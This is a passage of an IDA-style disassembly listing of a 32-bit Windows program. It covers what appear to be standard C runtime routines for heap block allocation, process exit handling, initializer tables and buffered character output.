loc_41F09E:				; CODE XREF: sub_41EEFC+47j
		jge	loc_41F1D3
		mov	ebx, [ebp+arg_4]
		sub	[ebp+arg_8], esi
		lea	ecx, [esi+1]
		mov	[ebx-4], ecx
		lea	ebx, [ebx+esi-4]
		mov	esi, [ebp+arg_8]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		mov	[ebp+arg_4], ebx
		mov	[ebx-4], ecx
		jbe	short loc_41F0C9
		push	3Fh
		pop	esi

loc_41F0C9:				; CODE XREF: sub_41EEFC+1C8j
		test	byte ptr [ebp+var_4], 1
		jnz	loc_41F153
		mov	esi, [ebp+var_4]
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41F0E2
		push	3Fh
		pop	esi

loc_41F0E2:				; CODE XREF: sub_41EEFC+1E1j
		mov	ecx, [edi+4]
		cmp	ecx, [edi+8]
		jnz	short loc_41F12C
		cmp	esi, 20h
		mov	ebx, 80000000h
		jnb	short loc_41F10D
		mov	ecx, esi
		shr	ebx, cl
		lea	esi, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+44h], ebx
		dec	byte ptr [esi]
		jnz	short loc_41F129
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41F129
; ---------------------------------------------------------------------------

loc_41F10D:				; CODE XREF: sub_41EEFC+1F6j
		lea	ecx, [esi-20h]
		shr	ebx, cl
		lea	ecx, [esi+eax+4]
		not	ebx
		and	[eax+edx*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41F129
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx

loc_41F129:				; CODE XREF: sub_41EEFC+208j
					; sub_41EEFC+20Fj ...
		mov	ebx, [ebp+arg_4]

loc_41F12C:				; CODE XREF: sub_41EEFC+1ECj
		mov	ecx, [edi+8]
		mov	esi, [edi+4]
		mov	[ecx+4], esi
		mov	esi, [edi+8]
		mov	ecx, [edi+4]
		mov	[ecx+8], esi
		mov	esi, [ebp+arg_8]
		add	esi, [ebp+var_4]
		mov	[ebp+arg_8], esi
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		jbe	short loc_41F153
		push	3Fh
		pop	esi

loc_41F153:				; CODE XREF: sub_41EEFC+1D1j
					; sub_41EEFC+252j
		mov	ecx, [ebp+var_C]
		lea	ecx, [ecx+esi*8]
		mov	edi, [ecx+4]
		mov	[ebx+8], ecx
		mov	[ebx+4], edi
		mov	[ecx+4], ebx
		mov	ecx, [ebx+4]
		mov	[ecx+8], ebx
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41F1CA
		mov	cl, [esi+eax+4]
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		cmp	esi, 20h
		mov	[esi+eax+4], cl
		jnb	short loc_41F1A1
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41F199
		mov	ecx, esi
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], edi

loc_41F199:				; CODE XREF: sub_41EEFC+28Dj
		lea	eax, [eax+edx*4+44h]
		mov	ecx, esi
		jmp	short loc_41F1C1
; ---------------------------------------------------------------------------

loc_41F1A1:				; CODE XREF: sub_41EEFC+287j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41F1B7
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], edi

loc_41F1B7:				; CODE XREF: sub_41EEFC+2A9j
		lea	eax, [eax+edx*4+0C4h]
		lea	ecx, [esi-20h]

loc_41F1C1:				; CODE XREF: sub_41EEFC+2A3j
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax], edx

loc_41F1CA:				; CODE XREF: sub_41EEFC+275j
		mov	eax, [ebp+arg_8]
		mov	[ebx], eax
		mov	[eax+ebx-4], eax

loc_41F1D3:				; CODE XREF: sub_41EEFC+196j
					; sub_41EEFC:loc_41F09Ej
		xor	eax, eax
		inc	eax

loc_41F1D6:				; CODE XREF: sub_41EEFC+19Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EEFC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F1DB	proc near		; CODE XREF: sub_41D01D+2Dp
					; sub_41E618+89p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	ecx, [ebp+arg_0]
		mov	eax, ds:dword_4395A0
		mov	edx, ds:dword_4395A4
		add	ecx, 17h
		and	ecx, 0FFFFFFF0h
		push	ebx
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		dec	ecx
		cmp	ecx, 20h
		lea	edi, [edx+eax*4]
		mov	[ebp+var_4], edi
		jge	short loc_41F218
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41F225
; ---------------------------------------------------------------------------

loc_41F218:				; CODE XREF: sub_41F1DB+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_8], eax

loc_41F225:				; CODE XREF: sub_41F1DB+3Bj
		mov	eax, ds:dword_4395AC
		mov	ebx, eax
		mov	[ebp+var_C], esi
		cmp	ebx, edi
		jmp	short loc_41F247
; ---------------------------------------------------------------------------

loc_41F233:				; CODE XREF: sub_41F1DB+6Fj
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41F24C
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]

loc_41F247:				; CODE XREF: sub_41F1DB+56j
		mov	[ebp+arg_0], ebx
		jb	short loc_41F233

loc_41F24C:				; CODE XREF: sub_41F1DB+64j
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41F275
		mov	ebx, edx
		jmp	short loc_41F266
; ---------------------------------------------------------------------------

loc_41F255:				; CODE XREF: sub_41F1DB+90j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41F26D
		add	ebx, 14h

loc_41F266:				; CODE XREF: sub_41F1DB+78j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jb	short loc_41F255

loc_41F26D:				; CODE XREF: sub_41F1DB+86j
		cmp	ebx, eax
		jz	loc_41F309

loc_41F275:				; CODE XREF: sub_41F1DB+74j
					; sub_41F1DB+170j
		mov	ds:dword_4395AC, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41F29C
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41F2D2

loc_41F29C:				; CODE XREF: sub_41F1DB+ABj
		mov	edx, [eax+0C4h]
		and	edx, [ebp+var_8]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		mov	esi, [ecx]
		and	esi, [ebp+var_C]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41F2CF

loc_41F2B8:				; CODE XREF: sub_41F1DB+F2j
		mov	edx, [ecx+84h]
		and	edx, [ebp+var_8]
		inc	[ebp+var_4]
		add	ecx, 4
		mov	edi, [ecx]
		and	edi, esi
		or	edx, edi
		jz	short loc_41F2B8

loc_41F2CF:				; CODE XREF: sub_41F1DB+DBj
		mov	edx, [ebp+var_4]

loc_41F2D2:				; CODE XREF: sub_41F1DB+BFj
		mov	ecx, edx
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+edx*4+44h]
		xor	edi, edi
		and	ecx, esi
		jnz	short loc_41F35B
		mov	ecx, [eax+edx*4+0C4h]
		and	ecx, [ebp+var_8]
		push	20h
		pop	edi
		jmp	short loc_41F35B
; ---------------------------------------------------------------------------

loc_41F2FD:				; CODE XREF: sub_41F1DB+131j
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41F30E
		add	ebx, 14h
		mov	[ebp+arg_0], ebx

loc_41F309:				; CODE XREF: sub_41F1DB+94j
		cmp	ebx, [ebp+var_4]
		jb	short loc_41F2FD

loc_41F30E:				; CODE XREF: sub_41F1DB+126j
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41F339
		mov	ebx, edx
		jmp	short loc_41F320
; ---------------------------------------------------------------------------

loc_41F317:				; CODE XREF: sub_41F1DB+14Aj
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41F327
		add	ebx, 14h

loc_41F320:				; CODE XREF: sub_41F1DB+13Aj
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jb	short loc_41F317

loc_41F327:				; CODE XREF: sub_41F1DB+140j
		cmp	ebx, eax
		jnz	short loc_41F339
		call	sub_41ED3F
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41F351

loc_41F339:				; CODE XREF: sub_41F1DB+136j
					; sub_41F1DB+14Ej
		push	ebx
		call	sub_41EDF6
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	loc_41F275

loc_41F351:				; CODE XREF: sub_41F1DB+15Cj
		xor	eax, eax
		jmp	loc_41F4D2
; ---------------------------------------------------------------------------

loc_41F358:				; CODE XREF: sub_41F1DB+182j
		shl	ecx, 1
		inc	edi

loc_41F35B:				; CODE XREF: sub_41F1DB+111j
					; sub_41F1DB+120j
		test	ecx, ecx
		jge	short loc_41F358
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+edi*8+4]
		mov	ecx, [edx]
		sub	ecx, [ebp+var_10]
		mov	esi, ecx
		sar	esi, 4
		dec	esi
		cmp	esi, 3Fh
		mov	[ebp+var_8], ecx
		jle	short loc_41F37C
		push	3Fh
		pop	esi

loc_41F37C:				; CODE XREF: sub_41F1DB+19Cj
		cmp	esi, edi
		jz	loc_41F485
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41F3E8
		cmp	edi, 20h
		mov	ebx, 80000000h
		jge	short loc_41F3BC
		mov	ecx, edi
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+edi+4]
		not	ebx
		mov	[ebp+var_14], ebx
		and	ebx, [eax+ecx*4+44h]
		mov	[eax+ecx*4+44h], ebx
		dec	byte ptr [edi]
		jnz	short loc_41F3E5
		mov	ecx, [ebp+var_14]
		mov	ebx, [ebp+arg_0]
		and	[ebx], ecx
		jmp	short loc_41F3E8
; ---------------------------------------------------------------------------

loc_41F3BC:				; CODE XREF: sub_41F1DB+1B9j
		lea	ecx, [edi-20h]
		shr	ebx, cl
		mov	ecx, [ebp+var_4]
		lea	ecx, [eax+ecx*4+0C4h]
		lea	edi, [eax+edi+4]
		not	ebx
		and	[ecx], ebx
		dec	byte ptr [edi]
		mov	[ebp+var_14], ebx
		jnz	short loc_41F3E5
		mov	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		and	[ebx+4], ecx
		jmp	short loc_41F3E8
; ---------------------------------------------------------------------------

loc_41F3E5:				; CODE XREF: sub_41F1DB+1D5j
					; sub_41F1DB+1FDj
		mov	ebx, [ebp+arg_0]

loc_41F3E8:				; CODE XREF: sub_41F1DB+1AFj
					; sub_41F1DB+1DFj ...
		cmp	[ebp+var_8], 0
		mov	ecx, [edx+8]
		mov	edi, [edx+4]
		mov	[ecx+4], edi
		mov	ecx, [edx+4]
		mov	edi, [edx+8]
		mov	[ecx+8], edi
		jz	loc_41F491
		mov	ecx, [ebp+var_C]
		lea	ecx, [ecx+esi*8]
		mov	edi, [ecx+4]
		mov	[edx+8], ecx
		mov	[edx+4], edi
		mov	[ecx+4], edx
		mov	ecx, [edx+4]
		mov	[ecx+8], edx
		mov	ecx, [edx+4]
		cmp	ecx, [edx+8]
		jnz	short loc_41F482
		mov	cl, [esi+eax+4]
		mov	byte ptr [ebp+arg_0+3],	cl
		inc	cl
		cmp	esi, 20h
		mov	[esi+eax+4], cl
		jge	short loc_41F459
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_41F447
		mov	edi, 80000000h
		mov	ecx, esi
		shr	edi, cl
		or	[ebx], edi

loc_41F447:				; CODE XREF: sub_41F1DB+25Fj
		mov	ecx, esi
		mov	edi, 80000000h
		shr	edi, cl
		mov	ecx, [ebp+var_4]
		or	[eax+ecx*4+44h], edi
		jmp	short loc_41F482
; ---------------------------------------------------------------------------

loc_41F459:				; CODE XREF: sub_41F1DB+259j
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_41F46C
		lea	ecx, [esi-20h]
		mov	edi, 80000000h
		shr	edi, cl
		or	[ebx+4], edi

loc_41F46C:				; CODE XREF: sub_41F1DB+282j
		mov	ecx, [ebp+var_4]
		lea	edi, [eax+ecx*4+0C4h]
		lea	ecx, [esi-20h]
		mov	esi, 80000000h
		shr	esi, cl
		or	[edi], esi

loc_41F482:				; CODE XREF: sub_41F1DB+247j
					; sub_41F1DB+27Cj
		mov	ecx, [ebp+var_8]

loc_41F485:				; CODE XREF: sub_41F1DB+1A3j
		test	ecx, ecx
		jz	short loc_41F494
		mov	[edx], ecx
		mov	[ecx+edx-4], ecx
		jmp	short loc_41F494
; ---------------------------------------------------------------------------

loc_41F491:				; CODE XREF: sub_41F1DB+223j
		mov	ecx, [ebp+var_8]

loc_41F494:				; CODE XREF: sub_41F1DB+2ACj
					; sub_41F1DB+2B4j
		mov	esi, [ebp+var_10]
		add	edx, ecx
		lea	ecx, [esi+1]
		mov	[edx], ecx
		mov	[edx+esi-4], ecx
		mov	esi, [ebp+var_C]
		mov	ecx, [esi]
		test	ecx, ecx
		lea	edi, [ecx+1]
		mov	[esi], edi
		jnz	short loc_41F4CA
		cmp	ebx, ds:dword_43959C
		jnz	short loc_41F4CA
		mov	ecx, [ebp+var_4]
		cmp	ecx, ds:dword_4395B4
		jnz	short loc_41F4CA
		and	ds:dword_43959C, 0

loc_41F4CA:				; CODE XREF: sub_41F1DB+2D3j
					; sub_41F1DB+2DBj ...
		mov	ecx, [ebp+var_4]
		mov	[eax], ecx
		lea	eax, [edx+4]

loc_41F4D2:				; CODE XREF: sub_41F1DB+178j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F1DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F4D7	proc near		; CODE XREF: sub_41DC92+1Cp
					; sub_41F59B+A5p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

		push	offset aMscoree_dll ; "mscoree.dll"
		call	ds:dword_4290BC	; GetModuleHandleA
		test	eax, eax
		jz	short loc_41F4FC
		push	offset aCorexitprocess ; "CorExitProcess"
		push	eax
		call	ds:dword_4290E0	; GetProcAddress
		test	eax, eax
		jz	short loc_41F4FC
		push	[esp+0Ch+var_8]
		call	eax ; dword_433070

loc_41F4FC:				; CODE XREF: sub_41F4D7+Dj
					; sub_41F4D7+1Dj
		push	[esp+10h+var_C]
		call	ds:dword_4290E8	; ExitProcess
		int	3		; Trap to Debugger
sub_41F4D7	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41F507	proc near		; CODE XREF: sub_41C556+Cp
		push	8
		call	sub_41E983
		pop	ecx
		retn
sub_41F507	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F510	proc near		; CODE XREF: sub_41C588p
		push	8
		call	sub_41E8CE
		pop	ecx
		retn
sub_41F510	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F519	proc near		; CODE XREF: sub_41F59B+78p
					; sub_41F59B+88p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, eax
		jmp	short loc_41F529
; ---------------------------------------------------------------------------

loc_41F51E:				; CODE XREF: sub_41F519+14j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41F526
		call	eax

loc_41F526:				; CODE XREF: sub_41F519+9j
		add	esi, 4

loc_41F529:				; CODE XREF: sub_41F519+3j
		cmp	esi, [esp+4+arg_0]
		jb	short loc_41F51E
		pop	esi
		retn
sub_41F519	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F531	proc near		; CODE XREF: start-1C20Cp

arg_0		= dword	ptr  4

		mov	eax, ds:off_43313C
		test	eax, eax
		jz	short loc_41F541
		push	[esp+arg_0]
		call	eax ; sub_41E530
		pop	ecx

loc_41F541:				; CODE XREF: sub_41F531+7j
		push	esi
		push	edi
		mov	ecx, offset dword_433044
		mov	edi, offset dword_43305C
		xor	eax, eax
		cmp	ecx, edi
		mov	esi, ecx
		jnb	short loc_41F56C

loc_41F555:				; CODE XREF: sub_41F531+35j
		test	eax, eax
		jnz	short loc_41F598
		mov	ecx, [esi]
		test	ecx, ecx
		jz	short loc_41F561
		call	ecx

loc_41F561:				; CODE XREF: sub_41F531+2Cj
		add	esi, 4
		cmp	esi, edi
		jb	short loc_41F555
		test	eax, eax
		jnz	short loc_41F598

loc_41F56C:				; CODE XREF: sub_41F531+22j
		push	offset sub_422D01
		call	sub_41C58E
		mov	esi, offset dword_433000
		mov	eax, esi
		mov	edi, offset dword_433040
		cmp	eax, edi
		pop	ecx
		jnb	short loc_41F596

loc_41F587:				; CODE XREF: sub_41F531+63j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41F58F
		call	eax

loc_41F58F:				; CODE XREF: sub_41F531+5Aj
		add	esi, 4
		cmp	esi, edi
		jb	short loc_41F587

loc_41F596:				; CODE XREF: sub_41F531+54j
		xor	eax, eax

loc_41F598:				; CODE XREF: sub_41F531+26j
					; sub_41F531+39j
		pop	edi
		pop	esi
		retn
sub_41F531	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F59B	proc near		; CODE XREF: sub_41F65E+8p
					; sub_41F66F+8p ...

ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 0041F658 SIZE 00000006 BYTES

		push	8
		push	offset stru_4296E8
		call	__SEH_prolog
		push	8
		call	sub_41E983
		pop	ecx
		xor	edi, edi
		mov	[ebp+ms_exc.disabled], edi
		xor	esi, esi
		inc	esi
		cmp	ds:dword_43569C, esi
		jnz	short loc_41F5CF
		push	[ebp+arg_0]
		call	ds:dword_4290A4	; GetCurrentProcess
		push	eax
		call	ds:dword_429160	; TerminateProcess

loc_41F5CF:				; CODE XREF: sub_41F59B+22j
		mov	ds:dword_435698, esi
		mov	al, byte ptr [ebp+arg_8]
		mov	ds:byte_435694,	al
		cmp	[ebp+arg_4], edi
		jnz	short loc_41F619
		cmp	ds:dword_439594, edi
		jz	short loc_41F609

loc_41F5EA:				; CODE XREF: sub_41F59B+68j
					; sub_41F59B+6Cj
		mov	eax, ds:dword_439590
		sub	eax, 4
		mov	ds:dword_439590, eax
		cmp	eax, ds:dword_439594
		jb	short loc_41F609
		mov	eax, [eax]
		cmp	eax, edi
		jz	short loc_41F5EA
		call	eax
		jmp	short loc_41F5EA
; ---------------------------------------------------------------------------

loc_41F609:				; CODE XREF: sub_41F59B+4Dj
					; sub_41F59B+62j
		push	offset dword_43306C
		mov	eax, offset dword_433060
		call	sub_41F519
		pop	ecx

loc_41F619:				; CODE XREF: sub_41F59B+45j
		push	offset dword_433078
		mov	eax, offset dword_433070
		call	sub_41F519
		pop	ecx
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41F64A
		cmp	[ebp+arg_8], edi
		jnz	short loc_41F658
		mov	ds:dword_43569C, esi
		push	[ebp+arg_0]
		call	sub_41F4D7

loc_41F645:				; DATA XREF: .text:stru_4296E8o
		xor	edi, edi
		xor	esi, esi
		inc	esi
sub_41F59B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41F64A	proc near		; CODE XREF: sub_41F59B+92p
		cmp	[ebp+10h], edi
		jz	short locret_41F657
		push	8
		call	sub_41E8CE
		pop	ecx

locret_41F657:				; CODE XREF: sub_41F64A+3j
		retn
sub_41F64A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41F59B

loc_41F658:				; CODE XREF: sub_41F59B+9Aj
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_41F59B

; =============== S U B	R O U T	I N E =======================================



sub_41F65E	proc near		; CODE XREF: start-1C1BBp

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_41F59B
		add	esp, 0Ch
		retn
sub_41F65E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F66F	proc near		; CODE XREF: sub_41D7EC+6p
					; sub_41DC6D+1Cp ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41F59B
		add	esp, 0Ch
		retn
sub_41F66F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F680	proc near		; CODE XREF: start:loc_41DE4Ap
		push	1
		push	0
		push	0
		call	sub_41F59B
		add	esp, 0Ch
		retn
sub_41F680	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F68F	proc near		; CODE XREF: .text:loc_41DE77p
		push	1
		push	1
		push	0
		call	sub_41F59B
		add	esp, 0Ch
		retn
sub_41F68F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F69E	proc near		; CODE XREF: sub_41C4AE+7p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	10h
		push	offset stru_4296F8
		call	__SEH_prolog
		cmp	ds:dword_4395BC, 3
		jnz	short loc_41F6ED
		push	4
		call	sub_41E983
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41E9FC
		pop	ecx
		mov	[ebp+var_20], eax
		test	eax, eax
		jz	short loc_41F6DB
		mov	esi, [esi-4]
		sub	esi, 9
		mov	[ebp+var_1C], esi
		jmp	short loc_41F6DE
; ---------------------------------------------------------------------------

loc_41F6DB:				; CODE XREF: sub_41F69E+30j
		mov	esi, [ebp+var_1C]

loc_41F6DE:				; CODE XREF: sub_41F69E+3Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41F70B
		cmp	[ebp+var_20], 0
		jnz	short loc_41F700

loc_41F6ED:				; CODE XREF: sub_41F69E+13j
		push	[ebp+arg_0]
		push	0
		push	ds:dword_4395B8
		call	ds:dword_429180	; RtlSizeHeap
		mov	esi, eax

loc_41F700:				; CODE XREF: sub_41F69E+4Dj
		mov	eax, esi
		call	__SEH_epilog
		retn
sub_41F69E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F708	proc near		; DATA XREF: .text:stru_4296F8o
		mov	esi, [ebp-1Ch]
sub_41F708	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41F70B	proc near		; CODE XREF: sub_41F69E+44p
		push	4
		call	sub_41E8CE
		pop	ecx
		retn
sub_41F70B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F714	proc near		; CODE XREF: sub_41CA2D+4Bp
					; sub_41D201+4Ap ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 82h
		mov	ebx, [esi+10h]
		jz	loc_41F820
		test	al, 40h
		jnz	loc_41F820
		test	al, 1
		jz	short loc_41F74D
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41F820
		mov	ecx, [esi+8]
		and	eax, 0FFFFFFFEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax

loc_41F74D:				; CODE XREF: sub_41F714+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	eax, 0FFFFFFEFh
		or	eax, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F789
		cmp	esi, offset dword_4335B0
		jz	short loc_41F777
		cmp	esi, offset dword_4335D0
		jnz	short loc_41F782

loc_41F777:				; CODE XREF: sub_41F714+59j
		push	ebx
		call	sub_424160
		test	eax, eax
		pop	ecx
		jnz	short loc_41F789

loc_41F782:				; CODE XREF: sub_41F714+61j
		push	esi
		call	sub_42411C
		pop	ecx

loc_41F789:				; CODE XREF: sub_41F714+51j
					; sub_41F714+6Cj
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41F7F6
		mov	eax, [esi+8]
		mov	edi, [esi]
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		sub	edi, eax
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41F7B6
		push	edi
		push	eax
		push	ebx
		call	sub_422410
		mov	[ebp+arg_4], eax
		jmp	short loc_41F7E9
; ---------------------------------------------------------------------------

loc_41F7B6:				; CODE XREF: sub_41F714+93j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41F7D4
		mov	ecx, ebx
		sar	ecx, 5
		mov	ecx, ds:dword_438460[ecx*4]
		mov	eax, ebx
		and	eax, 1Fh
		lea	eax, [eax+eax*8]
		lea	eax, [ecx+eax*4]
		jmp	short loc_41F7D9
; ---------------------------------------------------------------------------

loc_41F7D4:				; CODE XREF: sub_41F714+A5j
		mov	eax, offset dword_433938

loc_41F7D9:				; CODE XREF: sub_41F714+BEj
		test	byte ptr [eax+4], 20h
		jz	short loc_41F7EC
		push	2
		push	0
		push	ebx
		call	sub_424071

loc_41F7E9:				; CODE XREF: sub_41F714+A0j
		add	esp, 0Ch

loc_41F7EC:				; CODE XREF: sub_41F714+C9j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41F80A
; ---------------------------------------------------------------------------

loc_41F7F6:				; CODE XREF: sub_41F714+7Cj
		xor	edi, edi
		inc	edi
		push	edi
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		call	sub_422410
		add	esp, 0Ch
		mov	[ebp+arg_4], eax

loc_41F80A:				; CODE XREF: sub_41F714+E0j
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41F816
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41F826
; ---------------------------------------------------------------------------

loc_41F816:				; CODE XREF: sub_41F714+FAj
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41F829
; ---------------------------------------------------------------------------

loc_41F820:				; CODE XREF: sub_41F714+10j
					; sub_41F714+18j ...
		or	eax, 20h
		mov	[esi+0Ch], eax

loc_41F826:				; CODE XREF: sub_41F714+100j
		or	eax, 0FFFFFFFFh

loc_41F829:				; CODE XREF: sub_41F714+10Aj
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F714	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F82D	proc near		; CODE XREF: sub_41F860+11p
					; sub_41F884+22p ...
		test	byte ptr [ecx+0Ch], 40h
		jz	short loc_41F839
		cmp	dword ptr [ecx+8], 0
		jz	short loc_41F85D

loc_41F839:				; CODE XREF: sub_41F82D+4j
		dec	dword ptr [ecx+4]
		js	short loc_41F849
		mov	edx, [ecx]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41F855
; ---------------------------------------------------------------------------

loc_41F849:				; CODE XREF: sub_41F82D+Fj
		movsx	eax, al
		push	ecx
		push	eax
		call	sub_41F714
		pop	ecx
		pop	ecx

loc_41F855:				; CODE XREF: sub_41F82D+1Aj
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41F85D
		or	[esi], eax
		retn
; ---------------------------------------------------------------------------

loc_41F85D:				; CODE XREF: sub_41F82D+Aj
					; sub_41F82D+2Bj
		inc	dword ptr [esi]
		retn
sub_41F82D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F860	proc near		; CODE XREF: sub_41F8BB+6EFp
					; sub_41F8BB+71Dp ...

arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, eax
		jmp	short loc_41F87B
; ---------------------------------------------------------------------------

loc_41F868:				; CODE XREF: sub_41F860+1Fj
		mov	ecx, [ebp+arg_8]
		mov	al, [ebp+arg_0]
		dec	[ebp+arg_4]
		call	sub_41F82D
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41F881

loc_41F87B:				; CODE XREF: sub_41F860+6j
		cmp	[ebp+arg_4], 0
		jg	short loc_41F868

loc_41F881:				; CODE XREF: sub_41F860+19j
		pop	esi
		pop	ebp
		retn
sub_41F860	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F884	proc near		; CODE XREF: sub_41F8BB+706p
					; sub_41F8BB+767p ...

arg_0		= dword	ptr  4

		test	byte ptr [edi+0Ch], 40h
		push	ebx
		push	esi
		mov	esi, eax
		mov	ebx, ecx
		jz	short loc_41F8B1
		cmp	dword ptr [edi+8], 0
		jnz	short loc_41F8B1
		mov	eax, [esp+8+arg_0]
		add	[esi], eax
		jmp	short loc_41F8B8
; ---------------------------------------------------------------------------

loc_41F89E:				; CODE XREF: sub_41F884+32j
		mov	al, [ebx]
		dec	[esp+8+arg_0]
